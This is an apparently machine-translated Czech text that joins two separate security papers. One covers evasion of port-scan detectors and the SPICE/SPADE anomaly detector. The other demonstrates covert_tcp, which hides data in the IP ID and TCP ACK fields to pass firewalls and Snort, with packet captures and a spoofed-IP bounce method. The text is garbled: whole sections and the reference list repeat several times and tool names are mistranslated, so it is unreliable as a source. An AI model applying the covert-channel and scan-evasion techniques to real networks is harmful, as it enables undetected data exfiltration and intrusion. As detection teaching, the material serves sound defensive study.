Útočník bude často používají nějaký druh podvodu zamaskovat svůj průzkumný sken. Některé způsoby podvodu lze úspěšně vyhnout Simple Port-skenování detektory. Útočník může změnit skenovací software randomize hostitelé naskenování nebo pomalé skenování dolů k pokrytí větší časové okno, nebo náhodně období mezi sondami. Mohou rozostření podpis jediného paketu skenování pomocí randomizing než podstatné pole, jako zdrojový port skenování, sekvenční nebo ack číslo nebo IP id. Tyto techniky mohou vyhnout jednoduchý software port-skenování detekce na základě signatur, sekvenční detekce skenování, nebo překročení rentgenové událostí nad prahem y-druhé. Kromě toho je skutečný zdroj skenování může být skrytá tím, že skryje s-u kovaných vyšetření, nebo využívající distribuované skenování. Sken schovává uvnitř kouřová clona jiných skenů dělá trochu zamaskovat, že skenování se děje onâin skutečnosti to kreslí hodně pozornosti skenování-události, ale to může chránit identitu zdroje. Distribuované skenování, na druhou stranu, může být obtížné zjistit, zda systém je prostě při pohledu na akcích korelující zdrojovou IP adresu, cílovou IP a cílový port (Stainford, Hoagland, a McAlerney, str. 4-5).

Jeden speciální metoda použita podle některých skenerů, aby se zabránilo odhalení je stealth-scan. To je trochu nesprávné pojmenování, protože z hlediska většiny systémů detekce narušení tyto skeny, ve slovech SNORTâs autor Marty Roesch, Aare spíš bolí palec scans.â Tyto skeny pracují pomocí nelegálních vlajky nastavení nevyhne několik jednoduchých filtrů paketů. Možná, že penetrace-scan je lepší označení pro techniku.

Anomaly Detection Nástroje
analýza Komunikace probíhá přes vizualizaci a dolování dat techniky. Připomeňme si, že síťové události mohou být reprezentovány jako vektory vede k vektorový prostor n-rozměrné. Rozměr tohoto vektorového prostoru může být snížena v inteligentních způsobů ve snaze vyzdvihnout detekovatelné vzory. Jednoduchá metoda redukce dimenze by snížilo vektorový prostor až na cílové IP, a cílový port, a tato snížená prostor by být zobrazeny jako bodový pozemku. Z tohoto grafu může analytik vizuálně rozpoznat horizontální a vertikální skenování stopy. Další jednoduchý způsob redukce dimenze by omezilo prostor až na zdrojová a cílová IP událostí. Tento děj by ilustrovat, které počítače komunikují mezi sebou navzájem. Vzhledem k tomu, datový prostor je snížena, informace je ztracena, a proto je důležité, že jsou použity celá řada způsobů snižování a vizualizace, s cílem poskytnout úplnější přehled analytika. Analytik mohl používat sofistikovanější mapování technik, jako neurální sítě-vypočítány samostatně organizovat map (Girardin,) nebo fragmentů (svislé, Frincke a McConnell,) ve snaze získat vyšší rozlišením obrazu o stavu síť. Tyto vizualizační techniky mohou pracovat ze zachyceného síťového provozu, nebo protokolů síťové vybavení. Navíc k vizualizaci, výsledky dolování dat může být ve srovnání s heuristiky pro detekci vzory nebo anomálie. Mark Prager popisuje techniku snížení logy firewallu pro detekci skenování a DoS skeny (Pragger.) Další nástroje pro generování výstrah z log souborů jsou k dispozici od http://www.spitzner.net/.

SPICE / SPADE
projekt Silicon Defenseâs SPICE (Intrusion Correlation Engine Stealthy scannování a) je DARPA-podporovaný rozvojové úsilí, jehož cílem je vybudovat lepší past na myši schopné detekovat kradmé skenování portů. SPICE se skládá ze dvou složek, senzor anomálií a srovnávací motorem. SPADE je detektor anomálií, který funguje jako plug-in preprocesoru, aby Snort. Korelace motor je stále ve vývoji.
v Každý paket přichází do detektoru anomálií je přiřazena anomálií skóre (x). Toto skóre se počítá ze záporné log pravděpodobnosti události, P (x). Tj A (x) = - log (P (x)) (Staniford, Hoagland, a McAllerney, P 4) bystré oko by si všiml, že jejich anomálie skóre je blízko, ne-li ekvivalentní výpočet signalâs Entropy ( Shannon, p 13.)
v výpočet P (x) je založena na pozorované provozu v síti, protože provoz v síti, jako signál, je non-ergodic, a tudíž nepodléhá univerzální výpočet rozdělení pravděpodobnosti pro všechny možné signály (Pierce . p57-59) SPADE používá čtyři metody výpočtu p (x): P (cílová IP, cílový port), P (zdrojová IP, cílová IP, cílový port), P (zdrojová IP, zdrojový port, cílová IP, cílový port ), a síť přibližování Bayes P (zdrojová IP, zdrojový port, cílová IP, cílový port). z pozorování, paket na port 80 na web-server bude mnohem pravděpodobnější než řekněme, port 37337 na stejném serveru. Čím vyšší je P (x) je, bude nižší A (x). Pokud A (x) překročí stanovenou hranici, bude SPADE generovat upozornění.

Ve svém zveřejněném dokumentu o rýč, které měří výkon systému použitím účinnost (poměr pravdivě pozitivních výsledků na všechny klady) a efektivitu (poměr pravdivých pozitiv pro všechny trues). Z jejich výsledků se zdá, že nejefektivnější a nejúčinnější metoda byla P (cílová IP, cílový port), nebo joint-2 metoda, která je nyní výchozí pravděpodobnost, nastavení rýč. Bylo zjištěno, že filtrování výpočtu zahrnout pouze chráněné sítě dále zlepšovat účinnost a efektivnost (Staniford, Hoagland, a McAllerney, P 13) Limit anomálii by mohla být snížena při filtrování byl použit, protože pravděpodobnost byly porovnány s lokální IP / portu páry, což je menší prostor, aby zvážila, než zbytek Internetu.

Nastavení pro Spade je třeba ladění tak, aby odpovídala chráněné sítě. Jedním z laditelné faktorem je ve střehu-threshold. To lze nastavit ručně a naladěn podle analytika nebo SPADE samo o sobě může být nastaveno nastavit vlastní prahové úrovně. Ve výchozím režimu učení, SPADE bude monitorovat síťový provoz po dobu 24 hodin. Pak to bude počítat prahovou úroveň potřebnou k vytvoření 200 upozornění v tomto sledovaném období. Délka období sledování a počet záznamů, jak generovat jsou volitelné.

Jak to běží, SPADE bude generovat pravděpodobnostní tabulku pozorované provozu v síti. Tato tabulka obsahuje důležité informace a měla by být chráněna a zálohována. Pokud dojde ke ztrátě tohoto souboru SPADE bude muset přeškolit, vystavovat vaši síť, protože historie je přestavěna a výstrahy nejsou generovány. Při provozu v průzkumu režimu, bude SPADE generovat zprávy o pozorovaných rozdělení pravděpodobnosti provozu na síti. SPADE mohou být umístěny do statistického režimu, pokud si někdo přeje zobrazit pravděpodobnostních tabulek v pravidelných intervalech.

V současné době SPADE jednoduše generuje výstrahy o paketech, jejichž anomálie skóre (stanoveného obdobně jako podle rýč,) překračuje prahovou úroveň anomálie. Jsou zaznamenány tyto výstrahy spolu s ostatními odfrknutím výstrahy. Jedná se o korelační motor, který je stále ve vývoji, který slibuje detekovat stealthiest o skenování portů.

Korelace motor je napájen výstrahy z detektoru anomálií. Záznamy obsahují události a anomálie skóre. Korelace motor bude mít událost v paměti na základě jeho anomálií skóre. Čím vyšší skóre, tím více anomální událost, tím déle bude udržovat svůj stav. Korelace motoru a potom se pokusí spojit události do skupin, případně spojit vzácné události do jediné příčiny. Vazby mezi danou dvojicí událostí se vypočítá jako série heuristických funkcí. Existují čtyři základní heuristické funkce, a spojení mezi dvěma událostmi je hodnocena jako kombinace heuristické výsledků functionsâ. Pokud IP nebo cílový port nebo sítě jsou stejné v obou událostech, daný heuristické by oheň. Druhý heuristická bude hledat událostí blízko u sebe v době, nebo v n-rozměrném prostoru (Euclidean rozdíl.) Třetí by spojila dvě události, které byly posunuté o jednu IP číslo nebo jedno číslo portu zdroje, nebo jedno místo určení IP. Další heuristické by detekovat Kovariance vztahy (například zvýšením jedné v cílové IP a cílovým portem.) Funkce spojení by byla kombinace těchto heuristických výstupů. Korelace Motor vybuduje graf propojení souvisejících událostí, a upozornit analytik těchto korelací (Staniford, Hoagland a McAllerney, P 8.)

Další kroky
Jakmile koření samo o sobě je uvolněn, Silicon Obrana má v úmyslu použít nástroj pro detekci a sledování červy a DDoS útoky, kromě kradmé skenování portů (Staniford, Hoagland a McAllerney, P 15) v oblasti analýzy provozu a data mining je zde velký prostor pro práci v Intrusion Detection Fusion, kde protokoly a záznamy z různých Nids systémy, firewally a routery jsou syntetizovány do jednoho datového prostoru pro analýzu (Girardin, P 12.)

Závěr
Tam je ještě mnoho práce je třeba udělat v oblasti detekce anomálií na bázi. Detekce zneužití na základě porovnávání podpisu má svá omezení; Tato omezení mohou být zmírněny použitím detekce anomálií na bázi. Fúze obou zneužití pro detekci anomálií a-detekční techniky bude mít za následek efektivnější a účinnější systém Network Intrusion Detection.

Reference
Carss, Bob. SAS Příručka pro sledování. New York: Lyons Press, 2000.

Girardin, Luc. aan oko na síťových konfliktního účasti administrátora shootouts.â URL: http://www.usenix.org/event/detection99/full_papers/girardin/girardin_html/index.html~~HEAD=pobj (06.6.2001)

Lee, Wenke a Stolfo, Salvatore J. ADATA Mining přístupy k narušení Detection.â URL: http://www.cs.columbia.edu/~wenke/papers/usenix/usenix.html (9. července 2001)

Nichols, Randall K. ICSA Průvodce po kryptografie . New York: McGraw-Hill, 1999. 71 až 75.

Phung, Manh. ADATA Těžba v Intrusion Detection FAQ Detection.â Intrusion. 24. října 2000. URL: http://www.sans.org/resources/idfaq/data_mining.php (09.7.2001)

Pierce, John R. Úvod do teorie informace: Symboly, signály a hluk, druhé opravené vydání , New York: Dover publikace, Inc., 1980.

Prager, Mark. âFirewall Log-Kontrola Techniques.â Sys správce . 08. 2001: 33-37.

Shannon, Claude E. AA Matematická teorie Computationâ října 1948. URL: http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf (19.července 2001)

Staniford, Stuart, Hoagland, James A., a McAlerney, Joseph M. âPractical automatickou detekci Stealthy Portscans.â URL: http://www.silicondefense.com/pptntext/spice-ccs2000.pdf~~HEAD=pobj (19. července 2001)

Vert, Greg Frincke, Deborah A., a McConnell, Jesse C. AA Visual Matematický model pro Intrusion Detection.â URL: http://citeseer.nj.nec.com/vert98visual.html~~HEAD=pobj (19.července 2001) Ve svém zveřejněném dokumentu o rýč, které měří výkon systému použitím účinnost (poměr pravdivě pozitivních výsledků na všechny klady) a efektivitu (poměr pravdivých pozitiv pro všechny trues). Z jejich výsledků se zdá, že nejefektivnější a nejúčinnější metoda byla P (cílová IP, cílový port), nebo joint-2 metoda, která je nyní výchozí pravděpodobnost, nastavení rýč. Bylo zjištěno, že filtrování výpočtu zahrnout pouze chráněné sítě dále zlepšovat účinnost a efektivnost (Staniford, Hoagland, a McAllerney, P 13) Limit anomálii by mohla být snížena při filtrování byl použit, protože pravděpodobnost byly porovnány s lokální IP / portu páry, což je menší prostor, aby zvážila, než zbytek Internetu. Nastavení pro Spade je třeba ladění tak, aby odpovídala chráněné sítě. Jedním z laditelné faktorem je ve střehu-threshold. To lze nastavit ručně a naladěn podle analytika nebo SPADE samo o sobě může být nastaveno nastavit vlastní prahové úrovně. Ve výchozím režimu učení, SPADE bude monitorovat síťový provoz po dobu 24 hodin. Pak to bude počítat prahovou úroveň potřebnou k vytvoření 200 upozornění v tomto sledovaném období. Délka období sledování a počet záznamů, jak generovat jsou volitelné. Jak to běží, SPADE bude generovat pravděpodobnostní tabulku pozorované provozu v síti. Tato tabulka obsahuje důležité informace a měla by být chráněna a zálohována. Pokud dojde ke ztrátě tohoto souboru SPADE bude muset přeškolit, vystavovat vaši síť, protože historie je přestavěna a výstrahy nejsou generovány. Při provozu v průzkumu režimu, bude SPADE generovat zprávy o pozorovaných rozdělení pravděpodobnosti provozu na síti. SPADE mohou být umístěny do statistického režimu, pokud si někdo přeje zobrazit pravděpodobnostních tabulek v pravidelných intervalech. V současné době SPADE jednoduše generuje výstrahy o paketech, jejichž anomálie skóre (stanoveného obdobně jako podle rýč,) překračuje prahovou úroveň anomálie. Jsou zaznamenány tyto výstrahy spolu s ostatními odfrknutím výstrahy. Jedná se o korelační motor, který je stále ve vývoji, který slibuje detekovat stealthiest o skenování portů. Korelace motor je napájen výstrahy z detektoru anomálií. Záznamy obsahují události a anomálie skóre. Korelace motor bude mít událost v paměti na základě jeho anomálií skóre. Čím vyšší skóre, tím více anomální událost, tím déle bude udržovat svůj stav. Korelace motoru a potom se pokusí spojit události do skupin, případně spojit vzácné události do jediné příčiny. Vazby mezi danou dvojicí událostí se vypočítá jako série heuristických funkcí. Existují čtyři základní heuristické funkce, a spojení mezi dvěma událostmi je hodnocena jako kombinace heuristické výsledků functionsâ. Pokud IP nebo cílový port nebo sítě jsou stejné v obou událostech, daný heuristické by oheň. Druhý heuristická bude hledat událostí blízko u sebe v době, nebo v n-rozměrném prostoru (Euclidean rozdíl.) Třetí by spojila dvě události, které byly posunuté o jednu IP číslo nebo jedno číslo portu zdroje, nebo jedno místo určení IP. Další heuristické by detekovat Kovariance vztahy (například zvýšením jedné v cílové IP a cílovým portem.) Funkce spojení by byla kombinace těchto heuristických výstupů. Korelace Motor vybuduje graf propojení souvisejících událostí, a upozornit analytik těchto korelací (Staniford, Hoagland a McAllerney, P 8.) Další kroky Jakmile koření samo o sobě je uvolněn, Silicon Obrana má v úmyslu použít nástroj pro detekci a sledování červy a DDoS útoky, kromě kradmé skenování portů (Staniford, Hoagland a McAllerney, P 15) v oblasti analýzy provozu a data mining je zde velký prostor pro práci v Intrusion Detection Fusion, kde protokoly a záznamy z různých Nids systémy, firewally a routery jsou syntetizovány do jednoho datového prostoru pro analýzu (Girardin, P 12.) Závěr Tam je ještě mnoho práce je třeba udělat v oblasti detekce anomálií na bázi. Detekce zneužití na základě porovnávání podpisu má svá omezení; Tato omezení mohou být zmírněny použitím detekce anomálií na bázi. Fúze obou zneužití pro detekci anomálií a-detekční techniky bude mít za následek efektivnější a účinnější systém Network Intrusion Detection. Reference Carss, Bob. SAS Příručka pro sledování. New York: Lyons Press, 2000. Girardin, Luc. aan oko na síťových konfliktního účasti administrátora shootouts.â URL: http://www.usenix.org/event/detection99/full_papers/girardin/girardin_html/index.html~~HEAD=pobj (06.6.2001) Lee, Wenke a Stolfo, Salvatore J. ADATA Mining přístupy k narušení Detection.â URL: http://www.cs.columbia.edu/~wenke/papers/usenix/usenix.html (9. července 2001) Nichols, Randall K. ICSA Průvodce po kryptografie . New York: McGraw-Hill, 1999. 71 až 75. Phung, Manh. ADATA Těžba v Intrusion Detection FAQ Detection.â Intrusion. 24. října 2000. URL: http://www.sans.org/resources/idfaq/data_mining.php (09.7.2001) Pierce, John R. Úvod do teorie informace: Symboly, signály a hluk, druhé opravené vydání , New York: Dover publikace, Inc., 1980. Prager, Mark. âFirewall Log-Kontrola Techniques.â Sys správce . 08. 2001: 33-37. Shannon, Claude E. AA Matematická teorie Computationâ října 1948. URL: http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf (19.července 2001) Staniford, Stuart, Hoagland, James A., a McAlerney, Joseph M. âPractical automatickou detekci Stealthy Portscans.â URL: http://www.silicondefense.com/pptntext/spice-ccs2000.pdf~~HEAD=pobj (19. července 2001) Vert, Greg Frincke, Deborah A., a McConnell, Jesse C. AA Visual Matematický model pro Intrusion Detection.â URL: http://citeseer.nj.nec.com/vert98visual.html~~HEAD=pobj (19.července 2001) Ve svém zveřejněném dokumentu o rýč, které měří výkon systému použitím účinnost (poměr pravdivě pozitivních výsledků na všechny klady) a efektivitu (poměr pravdivých pozitiv pro všechny trues). Z jejich výsledků se zdá, že nejefektivnější a nejúčinnější metoda byla P (cílová IP, cílový port), nebo joint-2 metoda, která je nyní výchozí pravděpodobnost, nastavení rýč. Bylo zjištěno, že filtrování výpočtu zahrnout pouze chráněné sítě dále zlepšovat účinnost a efektivnost (Staniford, Hoagland, a McAllerney, P 13) Limit anomálii by mohla být snížena při filtrování byl použit, protože pravděpodobnost byly porovnány s lokální IP / portu páry, což je menší prostor, aby zvážila, než zbytek Internetu. Nastavení pro Spade je třeba ladění tak, aby odpovídala chráněné sítě. Jedním z laditelné faktorem je ve střehu-threshold. To lze nastavit ručně a naladěn podle analytika nebo SPADE samo o sobě může být nastaveno nastavit vlastní prahové úrovně. Ve výchozím režimu učení, SPADE bude monitorovat síťový provoz po dobu 24 hodin. Pak to bude počítat prahovou úroveň potřebnou k vytvoření 200 upozornění v tomto sledovaném období. Délka období sledování a počet záznamů, jak generovat jsou volitelné. Jak to běží, SPADE bude generovat pravděpodobnostní tabulku pozorované provozu v síti. Tato tabulka obsahuje důležité informace a měla by být chráněna a zálohována. Pokud dojde ke ztrátě tohoto souboru SPADE bude muset přeškolit, vystavovat vaši síť, protože historie je přestavěna a výstrahy nejsou generovány. Při provozu v průzkumu režimu, bude SPADE generovat zprávy o pozorovaných rozdělení pravděpodobnosti provozu na síti. SPADE mohou být umístěny do statistického režimu, pokud si někdo přeje zobrazit pravděpodobnostních tabulek v pravidelných intervalech. V současné době SPADE jednoduše generuje výstrahy o paketech, jejichž anomálie skóre (stanoveného obdobně jako podle rýč,) překračuje prahovou úroveň anomálie. Jsou zaznamenány tyto výstrahy spolu s ostatními odfrknutím výstrahy. Jedná se o korelační motor, který je stále ve vývoji, který slibuje detekovat stealthiest o skenování portů. Korelace motor je napájen výstrahy z detektoru anomálií. Záznamy obsahují události a anomálie skóre. Korelace motor bude mít událost v paměti na základě jeho anomálií skóre. Čím vyšší skóre, tím více anomální událost, tím déle bude udržovat svůj stav. Korelace motoru a potom se pokusí spojit události do skupin, případně spojit vzácné události do jediné příčiny. Vazby mezi danou dvojicí událostí se vypočítá jako série heuristických funkcí. Existují čtyři základní heuristické funkce, a spojení mezi dvěma událostmi je hodnocena jako kombinace heuristické výsledků functionsâ. Pokud IP nebo cílový port nebo sítě jsou stejné v obou událostech, daný heuristické by oheň. Druhý heuristická bude hledat událostí blízko u sebe v době, nebo v n-rozměrném prostoru (Euclidean rozdíl.) Třetí by spojila dvě události, které byly posunuté o jednu IP číslo nebo jedno číslo portu zdroje, nebo jedno místo určení IP. Další heuristické by detekovat Kovariance vztahy (například zvýšením jedné v cílové IP a cílovým portem.) Funkce spojení by byla kombinace těchto heuristických výstupů. Korelace Motor vybuduje graf propojení souvisejících událostí, a upozornit analytik těchto korelací (Staniford, Hoagland a McAllerney, P 8.) Další kroky Jakmile koření samo o sobě je uvolněn, Silicon Obrana má v úmyslu použít nástroj pro detekci a sledování červy a DDoS útoky, kromě kradmé skenování portů (Staniford, Hoagland a McAllerney, P 15) v oblasti analýzy provozu a data mining je zde velký prostor pro práci v Intrusion Detection Fusion, kde protokoly a záznamy z různých Nids systémy, firewally a routery jsou syntetizovány do jednoho datového prostoru pro analýzu (Girardin, P 12.) Závěr Tam je ještě mnoho práce je třeba udělat v oblasti detekce anomálií na bázi. Detekce zneužití na základě porovnávání podpisu má svá omezení; Tato omezení mohou být zmírněny použitím detekce anomálií na bázi. Fúze obou zneužití pro detekci anomálií a-detekční techniky bude mít za následek efektivnější a účinnější systém Network Intrusion Detection. Reference Carss, Bob. SAS Příručka pro sledování. New York: Lyons Press, 2000. Girardin, Luc. aan oko na síťových konfliktního účasti administrátora shootouts.â URL: http://www.usenix.org/event/detection99/full_papers/girardin/girardin_html/index.html~~HEAD=pobj (06.6.2001) Lee, Wenke a Stolfo, Salvatore J. ADATA Mining přístupy k narušení Detection.â URL: http://www.cs.columbia.edu/~wenke/papers/usenix/usenix.html (9. července 2001) Nichols, Randall K. ICSA Průvodce po kryptografie . New York: McGraw-Hill, 1999. 71 až 75. Phung, Manh. ADATA Těžba v Intrusion Detection FAQ Detection.â Intrusion. 24. října 2000. URL: http://www.sans.org/resources/idfaq/data_mining.php(09.7.2001) Pierce, John R. Úvod do teorie informace: Symboly, signály a hluk, druhé opravené vydání , New York: Dover publikace, Inc., 1980. Prager, Mark. âFirewall Log-Kontrola Techniques.â Sys správce . 08. 2001: 33-37. Shannon, Claude E. AA Matematická teorie Computationâ října 1948. URL: http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf (19.července 2001)Staniford, Stuart, Hoagland, James A., a McAlerney, Joseph M. âPractical automatickou detekci Stealthy Portscans.â URL: http://www.silicondefense.com/pptntext/spice-ccs2000.pdf~~HEAD=pobj (19. července 2001) Vert, Greg Frincke, Deborah A., a McConnell, Jesse C. AA Visual Matematický model pro Intrusion Detection.â URL: http://citeseer.nj.nec.com/vert98visual.html~~HEAD=pobj (19.července 2001)

Co je skrytý kanál a jaké jsou některé příklady?

Aman Abdulla

1. Abstrakt
skrytou kanál je jednoduchý, ale velmi účinný mechanismus pro posílání a přijímání informací dat mezi počítači bez upozorňování jakýchkoli firewall a IDSâs v síti. Technika odvodí jeho kradmé povahu vzhledem k tomu, že se posílá provoz přes porty, že většina firewally dovolí projít. Kromě toho tato technika může obejít IDS tím, že vypadá, že je neškodné paket nesoucí obyčejný informace, když ve skutečnosti to je utajit svá vlastní data v jedné z několika kontrolních polí v záhlaví TCP a IP.

Cílem tohoto příspěvku je prokázat účinnost této techniky v přítomnosti firewallu a IDS. Bude ukázáno, že i když tato technika vyhne detekci IDS bez státní příslušnosti pomocí různých náhodně pozměněných podpisů, aktivita může být stále detekován pečlivě zkoumá síťový provoz pro určité vzory v informaci o protokol, který bude charakterizují nástroj používán.

2. Úvod

Nástrojem pro toto využití bylo mírně upravenou verzi âcovert_tcpâ kódu vyvinuté a povolený Craig Rowland [1]. Tento nástroj poskytuje tři různé způsoby posílání tajných dat vložených v jedné z těchto oblastí:

Tento dokument se bude demonstrují použití prvního a třetího způsobu. Původní kód byl mírně upraven a sestaven individuálně na každém počítači. Dva stroje budou použity k tomu využít. Jedním z nich je pasivní server (přijímač) a druhý je klient (vysílač), která inicializuje přenos se serverem. Server by za normálních okolností být ohrožena stroj a mají kód na něm běží, ceká na spojení na jakémkoli zadaném portu. Je třeba poznamenat, že server nemusí vždy být ohrožena stroj; legitimní majitel stroje by mohly tento nástroj použít k přenosu neautorizovaný materiál dovnitř a ven ze sítě.

Klient bude stroj, který iniciuje spojení se serverem na zadaném portu a odesílá informace k ní. Port 80 byla použita pro tento pokus i když může být použit jakýkoliv portu. Většina firewallů umožní provoz přes tento port, protože většina sítí má webové servery běží na nich. Nejnovější verze [2] Snort se všemi současnými sady pravidel byl instalován a běžel během tohoto experimentu. Kromě tcpdump byl používán zachytit všechny pakety vjíždění a vyjíždění serveru.

3. Vkládání do oblasti IP Identifikace
dvě samostatné hostitelé na dvou oddělených sítí byly použity k analýze to využít. Jeden stroj sloužil jako server a druhý jako klient. 16-bitové Identifikace pole IP hlavičky slouží k identifikaci fragmentů, které tvoří kompletní paket. Tato metoda jednoduše kóduje Identifikační pole s ASCII reprezentace charakteru, které mají být zaslány. Paket, který nese tuto informaci, je požadavek na připojení (SYN). Konec Server přečte identifikační pole a převádí znak své formě pro tisk vydělením číselnou hodnotu v poli 256.

Při běžícím serveru klientský počítač připojený k ní na portu 80. řetězec znaků (âCovertâ) byl poslán z klient na server. Žádná z těchto sad pravidel na Snortu hlášeny žádné výstrahy kvůli tomuto provozu. Všechny příslušné pakety zachycené tcpdump jsou uvedeny níže.

První paket dva pakety níže ilustrují původní přenos z klienta na server a odpověď ze serveru. Je vidět, že identifikační pole v prvním paketu překládá do 43 h, což je znak ACA. Program serveru správně čte znak a uloží ji však TCP / IP stack reaguje na SYN paket s ACK od předchozího paketu a reset (RST). Protože se jedná o aplikaci TCP by se dalo očekávat, že klasické třícestné po úvodní SYN paketu. To však je charakteristika způsobu plnění kód a je předmětem diskuse v následujícím oddílu.

15: 46: 44,594323 eth0 <xxxx39946> 192.168.1.60.http: S 1966080: 1966080 (0) vyhrát 512 (ttl 55, id 17152)
     4500 0028 4300 0000 3706 648f xxxx xxxx
     c0a8 013c 9c0a 001e 0000 0000 0050 0000
     5002 0200 3529 0000 0000 0000 0000

15: 46: 44,594323 eth0> 192.168.1.60.http> xxxx39946: R 0: 0 (0) ack 1966081 vyhrát 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 9c0a 001e 0001 0000 0000
     5014 0000 3716 0000

příštích dvou paketů níže ilustrují sekvenci, která dopravuje další znak v řetězci od klienta na server a odpověď ze serveru. Je vidět, že identifikační pole v prvním paketu překládá 6F H, což je znak AOA.

Stejně jako před server odpoví tím, že uznává předchozí paket a obnovit ve stejnou dobu.

15: 46: 45,604323 eth0 <xxxx54296> 192.168.1.60.http: S 504102912: 504102912 (0) vyhrát 512 (ttl 55, id 28416)
     4500 0028 0000 3706 6f00 388f xxxx xxxx
     c0a8 013c d418 0050 1e0c 0000 0000 0000
     5002 0200 df2c 0000 0000 0000 0000

15: 46: 45,604323 eth0> 192.168.1.60.http> xxxx54296: R 0: 0 (0) ack 504102913 výhra 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 d418 0000 0000 1e0c 0001
     5014 0000 0000 E119

zbytek dopravy, které tvoří řetězec " Covert " je uveden níže:

15: 46: 46,614323 eth0 <xxxx14879> 192.168.1.60.http: s 117964800: 117964800 (0) vyhrát 512 (ttl 55, id 30208)
     4500 0028 7600 0000 3706 318f xxxx xxxx
     c0a8 013c 3a1f 0050 0708 0000 0000 0000
     5002 0200 0000 0000 0000 902a 0000

15: 46: 46,614323 eth0> 192.168.1.60.http> xxxx14879: R 0: 0 (0) ack 117964801 výhra 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 3a1f 0000 0708 0001 0000
     5014 0000 9217 0000

15: 46: 47,624323 eth0 <xxxx31780> 192.168.1.60. http: S 3741384704: 3741384704 (0) vyhrát 512 (TTL 55, id 25856)
     4500 0028 6500 0000 3706 428f xxxx xxxx
     c0a8 013c 7c24 0050 DF01 0000 0000 0000
     5002 0200 762b 0000 0000 0000 0000

15: 46: 47,624323 eth0 <192,168. 1.60.http> xxxx31780: R 0: 0 (0) ack 3741384705 výhra 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 7c24 0000 0000 DF01 0001
     5014 0000 7818 0000

15:46 : 48.634323 eth0 <xxxx17925> 192.168.1.60.http: S 3238723584: 3238723584 (0) vyhrát 512 (ttl 55, id 29184)
     4500 0028 7200 0000 3706 358f xxxx xxxx
     c0a8 013c 4605 0050 c10b 0000 0000 0000
     5002 0200 0000 0000 0000 CA40 0000

15: 46: 48,634323 eth0 <192.168.1.60.http> xxxx17925: R 0: 0 (0) ack 3238723585 výhra 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 4605 0000 0000 c10b 0001
     5014 0000 cc2d 0000

15: 46: 49,644323 eth0 <xxxx51999> 192.168.1.60.http: S 2569076736: 2569076736 (0) vyhrát 512 (TTL 55, id 29696)
     4500 0028 7400 0000 3706 338f xxxx xxxx
     c0a8 013c cb1f 0050 9921 0000 0000 0000
     5002 0200 0000 0000 0000 6d10 0000

15: 46: 49,644323 eth0> 192.168.1.60.http> xxxx51999: R 0: 0 (0) ack 2569076737 výhra 0 (DF) (ttl 255, id 0)
     4500 0028 0000 4000 ff06 9f8e c0a8 013c
     xxxx xxxx 0050 cb1f 0000 0000 9921 0001
     5014 0000 0000 6efd

3.1 Vyjádření
Když se podíváme na výše uvedené sekvence, nejzřejmější poznatkem je, že se jedná o sled zcela neobvyklé u typického TCP sekvence. Za normálních okolností by se dalo očekávat na straně serveru reagovat s SYN a ACK. Místo toho, každý SYN je reagovala s RST. Důvod pro toto zřejmé, pokud se podíváme na kód. V normálním aplikaci TCP server, otázky programové listen () a přijímám () volá; Klient potom vydá connect () volání iniciovat třícestné. Tento konkrétní aplikace využívá raw socket, které jsou obvykle používány pro aplikace, které používají protokoly jako je ICMP. Obě funkce serveru i klient používají blokující číst hovorů (). To znamená, že stoh obdrží datagram pro nevázaného zásuvky a jednoduše vydá RST. Tato sekvence pozorováno v rámci síťové komunikace proto může být spojen s tímto konkrétním nástrojem. Je však nutno poznamenat, že hacker s přiměřenou znalostí programování budou moci měnit základní experimentální nástroj, aby se to zdá být normální a legitimní aplikace k síti.

I když neexistuje žádná definitivní podpis generovaný touto aplikací pro použití v IDS, existují určité případy podezřelých ve výše uvedeném pořadí, což by upozornilo Pozorný analytik přítomnosti skrytého kanálu. IP Identifikace pole obvykle zvýší o jednu pokaždé, když stoh přenáší datagram. Ve výše uvedeném pořadí vidíme, že identifikace sekvence je poměrně nevyrovnané nemluvě o tom, že se snižující se vzhledem k časová razítka v určitých případech.

Další pozorování, že můžeme je, že čísla portů z klienta se mění s každý požadavek připojení a ve velmi krátkém intervalu. To je velmi neobvyklé, zejména s ohledem na skutečnost, že požadavky jsou určené pro stejného cílového portu.

I když tento exploit vyhnula IDS existuje dost výmluvné příznaky u síťového provozu, aby upozornil analytik na přítomnost skrytého kanálu. Nicméně odhalit to bude vyžadovat zachytávání veškerého síťového provozu, který se stal obtížný úkol. Lepším řešením by bylo identifikovat provoz generovaný do az konkrétních IP adres a jen past, která provozu.

4. Vkládání do TCP Potvrzení pořadovým číslem pole
Tato metoda spoofs IP adresu klienta a odrazí informaci nesoucí datagram off bounce serveru (tj falešnou IP) a vytváří tak obtížné zjistit, anonymní jednosměrný komunikační kanál. Podkladem pro tuto metodu je charakteristická pro TCP / IP třícestné, který určuje, že server reaguje na žádosti o připojení (SYN) s SYN / ACK paketu. Pole ACK obsahuje původní pořadové číslo plus jedna, tedy indikuje další pořadové číslo se očekává. Při této metodě je znak, který má být odeslán na server je zakotven v této oblasti. Všimněte si, že jakmile bylo navázáno spojení, toto pole vždy nastaveno [4]. Původní požadavek na připojení datagram od klienta je vytvořený tak, že cílová IP je falešnou IP odrazit serveru a zdroj IP adresa počítače s operačním systémem pasivní serverový kód.

Tímto způsobem odrazit server obdrží počáteční SYN a reaguje na počítači serveru s SYN / ACK jeho vlastní nebo RST v závislosti na stavu portu uvedené v žádosti o připojení. Je to v podstatě relé (byť nevědomky) požadavek od klienta na server. Je to vždy dobrý nápad použít port, jako je například port 80 (http), který bude obvykle mít hodně provozu s ním spojené, čímž poskytuje vynikající prostředek, jak utajit skrytou provoz. Naslouchající server bude přijímat příchozí datagram a toto číslo dekódovat ACK sekvence zpět do původní ASCII reprezentace znaku. Pořadové číslo se převede na ASCII vydělením číselnou hodnotu této oblasti tím, 16777216 (zastoupení 224) [1].

